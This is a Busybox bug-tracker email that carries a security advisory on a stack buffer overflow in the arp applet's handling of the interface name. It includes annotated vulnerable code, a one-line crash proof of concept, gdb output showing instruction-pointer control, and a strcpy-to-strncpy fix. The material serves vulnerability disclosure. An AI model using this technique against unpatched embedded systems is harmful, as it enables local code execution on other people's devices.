[Bug 9071] New: busybox - (local) cmdline stack buffer overwrite

bugzilla at busybox.net bugzilla at busybox.net
Mon Jul 4 13:39:21 UTC 2016


https://bugs.busybox.net/show_bug.cgi?id=9071

            Bug ID: 9071
           Summary: busybox - (local) cmdline stack buffer overwrite
           Product: Busybox
           Version: 1.24.x
          Hardware: All
                OS: All
            Status: NEW
          Severity: major
          Priority: P5
         Component: Other
          Assignee: unassigned at busybox.net
          Reporter: noamr at beyondsecurity.com
                CC: busybox-cvs at busybox.net
  Target Milestone: ---

Advisory
============

        Author:         0x721427D8

        Tag:            busybox - (local) cmdline stack buffer overwrite

Overview
--------

        Name:                   busybox
        Vendor:                 Bruce Perens, Erik Andersen, et.al.
(busybox.net)
        References:             * http://www.busybox.net/  [1]

        Version:                1.23.1 latest snapshot [2]
        Latest Version: 1.23.1 latest snapshot [2]
        Other Versions: affected     -  >= 1.4.0  (commit [3] date 2007-01-07 )
                                        not affected -  <  1.4.0
        Platform(s):    cross
        Technology:             c

        Vuln Classes:   Stack-based Buffer Overflow (CWE-121)
        Origin:                 Local
        Min. Privs.:    -----

-- 



Description
---------

quote wikipedia.org [4]

>BusyBox is software that provides several stripped-down Unix tools in a single 
executable file. It runs in a variety of POSIX environments such as Linux,
Android, 
FreeBSD and others, such as proprietary kernels, although many of the tools it 
provides are designed to work with interfaces provided by the Linux kernel. It 
was specifically created for embedded operating systems with very limited
resources. 
The authors dubbed it "The Swiss Army Knife of Embedded Linux", as the single 
executable replaces basic functions of more than 300 common commands. It is 
released as free software under the terms of the GNU General Public License.


Summary 
-------

Busybox provides an `arp` applet which is missing an array bounds check for 
command-line parameter `IFNAME`. It is therefore vulnerable to a command-line 
based local stack buffer overwrite effectively allowing local users to write 
past a 16 bytes fixed stack buffer. This leads to two scenarios, one (A) where 
an IOCTL for GET_HW_ADDRESS (`SIOCGIFHWADDR`) fails and results in a corrupted 
`va_list` being passed to `*printf()` and one (B) where an attacker might
provide 
valid params for the IOCTL and trick the program to proceed and result in a 
`RET eip overwrite` eventually gaining code execution.


*Versions affected:*

all versions shipping the arp applet (`arp.c`). This module was introduced
`2007-01-07` 
with commit `88e2b1cb626761b1924305b761a5dfc723613c4e` [3] and was first
shipped with busybox version `1.4.0`

         >= 1.4.0 - latest    - vulnerable 
                  - < 1.4.0   - *NOT* vulnerable: arp.c not present.


Details
------

By providing an overly long string for param `IFNAME` while setting `-D` 
(read HW Address from IFACE) and `-s` (set new entry) a strcpy operation can be 
reached that allows to write past the stack buffer `ifreq.ifr_name[IFANMESIZ]`
[5,6]

        # ./busybox arp --help
        BusyBox v1.23.0.git (2014-12-26 19:27:13 CET) multi-call binary.

        Usage: arp
        [-vn]   [-H HWTYPE] [-i IF] -a [HOSTNAME]
        [-v]                [-i IF] -d HOSTNAME [pub]
        [-v]    [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [temp]
        [-v]    [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [netmask MASK] pub
        [-v]    [-H HWTYPE] [-i IF] -Ds HOSTNAME IFACE [netmask MASK] pub

        Manipulate ARP cache

                -a              Display (all) hosts
                -d              Delete ARP entry
                -s              Set new entry
                -v              Verbose
                -n              Don't resolve names
                -i IF           Network interface
                -D              Read HWADDR from IFACE
                -A,-p AF        Protocol family
                -H HWTYPE       Hardware address type


#### Details: arp.c ####

The stack buffer overflow manifests in arp.c

##### Taint Graph #####

        busybox arp 
        -> arp.c:477  - arp_main (argc, argv)
         -> arp.c:524  - arp_set (argv)
          -> arp.c:263: - arp_getdevhw (ifname=*args++)
           -> arp.c:332: - strcpy (dst=fixed_buffer,src=ifname) 
           // --- stack is messed up now - arbitrary stack local vars
overwritten already (including stored eip) ---
           -> arp.c:222 ioctl_or_perror_and_die(,,ifr,<static_string>,ifname)
           // A) ioctl_or_perror_and_die - FAILS - due to messed up stack
               -> xfuncs_printf.c:508  -
bb_verror_msg(fmt=<static_string>,valist p,strerr(errno))
                -> verror_msg.c:31  - vasprintf(&msg, s=fmt, valist p);
           // B) ioctl_or_perror_and_die - SUCCEEDS - due to attacker providing
reasonable values for IOCTL
              -> arp.c:238  - RETURN - stack messed up, direct eip control


##### Code #####

1. No bounds check in `arp_main`

                int arp_main(int argc UNUSED_PARAM, char **argv)
                {
                        ...
                        /* Now see what we have to do here... */
                        if (opts & (ARP_OPT_d | ARP_OPT_s)) {               /**
!! -d and -s  must be set*/
                                if (argv[0] == NULL)                           
                /** !! argument must be set == IFNAME*/
                                        bb_error_msg_and_die("need host name");
                                if (opts & ARP_OPT_s)
                                        return arp_set(argv);                  
                /** !! argv never checked, pass to arp_set (tainted)*/
                                return arp_del(argv);
                        }
                        ...
                }


2. No bounds check in arp_set

                static int arp_set(char **args)                                
                /** !! args==IFNAME (tainted)*/
                {
                        ...
                        /* Fetch the hardware address. */
                        if (*args == NULL) {                                   
                        /** !! IFNAME  must be set*/
                                bb_error_msg_and_die("need hardware address");
                        }
                        if (option_mask32 & ARP_OPT_D) {                       
                /** !! -d must be set*/
                                arp_getdevhw(*args++, &req.arp_ha);            
/** !! args never checked, pass to arp_getdevhw*/
                        } else {
                                if (hw->input(*args++, &req.arp_ha) < 0) {
                                        bb_error_msg_and_die("invalid hardware
address");
                                }
                        }

                        ...
                }


3. No bounds check and buffer overwrite in arp_getdevhw

                static void arp_getdevhw(char *ifname, struct sockaddr *sa)  
/** !! ifname==args (tainted)*/
                {
                        struct ifreq ifr;                                      
                                          /** !! static stack struct,
sizeof(ifreq)==40*/
                        const struct hwtype *xhw;                              
                                  /** !! static stack struct,
sizeof(hwtype)==64*/

                        strcpy(ifr.ifr_name, ifname);                          
                          /** !! overwrites ifr.ifr_name[IFNAMESIZ==16] by
strlen(ifname)*/

                        ioctl_or_perror_and_die(sockfd, SIOCGIFHWADDR, &ifr,
                                                        "can't get HW-Address
for '%s'", ifname); /** !! will do the IOCTL and die on errors*/
                        if (hw_set && (ifr.ifr_hwaddr.sa_family != hw->type)) {
  /** !! Skip - hw_set is only set by -H|-t*/
                                bb_error_msg_and_die("protocol type mismatch"); 
                        }
                        memcpy(sa, &(ifr.ifr_hwaddr), sizeof(struct sockaddr));
  /** !! Skip - we do not care*/

                        if (option_mask32 & ARP_OPT_v) {                       
  /** !! Skip - we do not specify -v*/
                                xhw = get_hwntype(ifr.ifr_hwaddr.sa_family);
                                if (!xhw || !xhw->print) {
                                        xhw = get_hwntype(-1);
                                }
                                bb_error_msg("device '%s' has HW address %s
'%s'",
                                                ifname, xhw->name,
                                                xhw->print((unsigned char *)
&ifr.ifr_hwaddr.sa_data));
                        }
                }                                                              
                                                        /** !! if we do not
fail in IOCTL we'll land here - direct EIP control*/

        arbitrary length (may be limited by os) string `IFNAME` overwrites 16
bytes fixed buffer `ifreq.ifr_name[IFANMESIZ]` [5,6].

4. stack is messed up before IOCTL for SIOCGIFHWADDR in ioctl_or_perror_and_die

        we control any fields below `ifr.ifr_name` - which essentially is any
ifreq 
        field, see below - allowing us to call `SIOCGIFHWADDR IOCTL` with user
controlled 
        fields and pot. let it die or make it succeed.
        If the `IOCTL` fails it will make the process die in `vsprintf()` due
to messed up va_args on stack.
        If the `IOCT`L succeeds, it will make the process continue, copy 
        taken from [5]

                203 struct ifreq {
                204 #define IFHWADDRLEN     6
                205         union
                206         {
                207                 char    ifrn_name[IFNAMSIZ];            /*
if name, e.g. "en0" */  /** !! we overflow here */
                208         } ifr_ifrn;
                209         
                210         union {
                211                 struct  sockaddr ifru_addr;
                212                 struct  sockaddr ifru_dstaddr;
                213                 struct  sockaddr ifru_broadaddr;
                214                 struct  sockaddr ifru_netmask;
                215                 struct  sockaddr ifru_hwaddr;
                216                 short   ifru_flags;
                217                 int     ifru_ivalue;
                218                 int     ifru_mtu;
                219                 struct  ifmap ifru_map;
                220                 char    ifru_slave[IFNAMSIZ];   /* Just
fits the size */
                221                 char    ifru_newname[IFNAMSIZ];
                222                 void __user *   ifru_data;
                223                 struct  if_settings ifru_settings;
                224         } ifr_ifru;
                225 };

5. a) IOCTL fails

                //xfuncs_printf.c:508

                int FAST_FUNC ioctl_or_perror_and_die(int fd, unsigned request,
void *argp, const char *fmt,...)
                {
                        int ret;
                        va_list p;                                             
                                                        /** !! stack is messed
up */

                        ret = ioctl(fd, request, argp);
                        if (ret < 0) {
                                va_start(p, fmt);
                                bb_verror_msg(fmt, p, strerror(errno));        
                        /** !! valist p is corrupt, stack is messed up, and we
fail, printing error*/
                                /* xfunc_die can actually longjmp, so be nice
*/
                                va_end(p);
                                xfunc_die();
                        }
                        return ret;
                }


                //verror_msg.c:31  - vasprintf(&msg, s=fmt, valist p);

                void FAST_FUNC bb_verror_msg(const char *s, va_list p, const
char* strerr)
                {
                        char *msg, *msg1;
                        int applet_len, strerr_len, msgeol_len, used;

                        if (!logmode)
                                return;

                        if (!s) /* nomsg[_and_die] uses NULL fmt */
                                s = ""; /* some libc don't like printf(NULL) */

                        used = vasprintf(&msg, s, p);                          
                                /** !! valist p is corrupt */
                        if (used < 0)
                                return;
                        ...
                }       

6. b) IOCTL does not fail

        as described in 3./4. the code proceeds with returning from
`arp_getdevhw` 
        eventually executing code from the `strcpy()` based overflow. (RET
overwrite)


Proof of Concept
----------------

Brutally smash the stack buffer (provide any IP as arg `HOSTNAME` to bypass
name resolver):

        # ./busybox arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99")
        Segmentation fault
        # dmesg
        busybox[5135]: segfault at 41414141 ip 080b8a5b sp bfa924fc error 4 in
busybox[8048000+1fd000]

        # gdb --args ./busybox_unstripped arp -v -Ds 1.1.1.1 $(python -c "print
'A'*99")
        (gdb) r
        ...
        Program received signal SIGSEGV, Segmentation fault.
        0x080b8a5b in vfprintf ()
        (gdb) i r
        eax            0x0      0
        ecx            0xffffffff       -1
        edx            0x0      0
        ebx            0xbffff42c       -1073744852
        esp            0xbfffee6c       0xbfffee6c
        ebp            0xbffff408       0xbffff408
        esi            0x1a     26
        edi            0x41414141       1094795585
        eip            0x80b8a5b        0x80b8a5b <vfprintf+13739>
        eflags         0x10246  [ PF ZF IF RF ]
        cs             0x73     115
        ss             0x7b     123
        ds             0x7b     123
        es             0x7b     123
        fs             0x0      0
        gs             0x33     51
        (gdb) bt
        #0  0x080b8a5b in vfprintf ()
        #1  0x0805b629 in vasprintf ()
        #2  0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for
'%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device")
            at libbb/verror_msg.c:31
        #3  0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111,
argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'")
            at libbb/xfuncs_printf.c:508
        #4  0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141
out of bounds>, sa=0x41414141) at networking/arp.c:222
        #5  0x41414141 in ?? ()
        #6  0x41414141 in ?? ()
        #7  0x41414141 in ?? ()
        #8  0x41414141 in ?? ()
        #9  0x41414141 in ?? ()
        ...
        (gdb) bt full
        #0  0x080b8a5b in vfprintf ()
        No symbol table info available.
        #1  0x0805b629 in vasprintf ()
        No symbol table info available.
        #2  0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for
'%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device")
            at libbb/verror_msg.c:31
                msg = 0x13 <Address 0x13 out of bounds>
                msg1 = 0x0
                applet_len = -1073744492
                strerr_len = -1073744524
                msgeol_len = 0
                used = -1073744508
        #3  0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111,
argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'")
            at libbb/xfuncs_printf.c:508
                ret = -1
                p = 0xbffff540 'A' <repeats 103 times>
        #4  0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141
out of bounds>, sa=0x41414141) at networking/arp.c:222
                ifr = {ifr_ifrn = {ifrn_name = 'A' <repeats 16 times>},
ifr_ifru = {ifru_addr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>},
                    ifru_dstaddr = {sa_family = 16705, sa_data = 'A' <repeats
14 times>}, ifru_broadaddr = {sa_family = 16705,
                      sa_data = 'A' <repeats 14 times>}, ifru_netmask =
{sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_hwaddr = {
                      sa_family = 16705, sa_data = 'A' <repeats 14 times>},
ifru_flags = 16705, ifru_ivalue = 1094795585, ifru_mtu = 1094795585, ifru_map =
{
                      mem_start = 1094795585, mem_end = 1094795585, base_addr =
16705, irq = 65 'A', dma = 65 'A', port = 65 'A'},
                    ifru_slave = 'A' <repeats 16 times>, ifru_newname = 'A'
<repeats 16 times>, ifru_data = 0x41414141 <Address 0x41414141 out of bounds>}}
        #5  0x41414141 in ?? ()
        No symbol table info available.
        #6  0x41414141 in ?? ()
        No symbol table info available.
        #7  0x41414141 in ?? ()


A debugging session shows that we messed up the `va_list` on stack with the
user provided string.


crosscheck: valid run (no crash expected, `IFNAME=AAAAA`):

        # gdb --args ./busybox_unstripped arp  -Ds 1.1.1.1 $(python -c "print
'A'*(5)")
        (gdb) b ioctl_or_perror_and_die
        Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501.
        (gdb) r
        Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1
AAAAA

        Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111,
argp=0xbffff5a4, fmt=0x820cc85 "can't get HW-Address for '%s'")
            at libbb/xfuncs_printf.c:501
        501     {
        (gdb) s
        505             ret = ioctl(fd, request, argp);
        (gdb) s
        506             if (ret < 0) {
        (gdb) s
        507                     va_start(p, fmt);
        (gdb) s
        508                     bb_verror_msg(fmt, p, strerror(errno));
        (gdb) x/10s p
        0xbffff5a0:      "\375\370\377\277AAAAA"                               
                                                                        /** !!
valid va_list struct for 5*A*/
        0xbffff5aa:      "\377\277\365\370\377\277"
        0xbffff5b1:      ""
        0xbffff5b2:      ""
        0xbffff5b3:      ""
        0xbffff5b4:     
"\300\207$\bp9\022\b\324\365\377\277\365\370\377\277b7\021\b\375\370\377\277\364\365\377\277D"
        0xbffff5d2:      ""
        0xbffff5d3:      ""
        0xbffff5d4:      "\002"
        0xbffff5d6:      ""
        (gdb)

see inline comments: va_list on stack shown by `x/10s p`


now overflow `va_list` by providing `IFNAME=A*(64+40+40)` (crash expected):

        gdb --args ./busybox_unstripped arp  -Ds 1.1.1.1 $(python -c "print
'A'*(64+40+40)")
        (gdb) ioctl_or_perror_and_die
        Undefined command: "ioctl_or_perror_and_die".  Try "help".
        (gdb) b ioctl_or_perror_and_die
        Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501.
        (gdb) r
        Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

        Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111,
argp=0xbffff514, fmt=0x820cc85 "can't get HW-Address for '%s'")
            at libbb/xfuncs_printf.c:501
        501     {
        (gdb) s
        505             ret = ioctl(fd, request, argp);
        (gdb) s
        506             if (ret < 0) {
        (gdb) s
        507                     va_start(p, fmt);
        (gdb) s
        508                     bb_verror_msg(fmt, p, strerror(errno));
        (gdb) x/10s p
        0xbffff510:      'A' <repeats 148 times>                               
                                                                        /** !!
INVALID va_list struct, missing header*/
        0xbffff5a5:      "\271\004\b"
        0xbffff5a9:      "\231\357pU?\021\b\030\367\377\277\177\315
\b\314\365\377\277\314\365\377\277\320\365\377\277\320\365\377\277È$\b"
        0xbffff5cd:      "\231\357p\330\366\377\277"
        0xbffff5d5:      "\003"
        0xbffff5d7:      ""
        0xbffff5d8:      ""
        0xbffff5d9:      ""
        0xbffff5da:      ""
        0xbffff5db:      ""
        (gdb)

see inline comment: `va_list` is messed up.

Remediation Steps
-------

* `strcpy` => `strncpy(dst,src,n=sizeof(ifreq.ifr_name)-1)` or less error prone
but more overhead `snprintf()`

References
---------

        [1] http://busybox.net
        [2] http://busybox.net/downloads/?C=M;O=A
        [3]
http://git.busybox.net/busybox/commit/networking/arp.c?id=88e2b1cb626761b1924305b761a5dfc723613c4e
        [4] https://en.wikipedia.org/wiki/BusyBox
        [5] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L203
        [6] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L26

-- 
You are receiving this mail because:
You are on the CC list for the bug.


More information about the busybox-cvs mailing list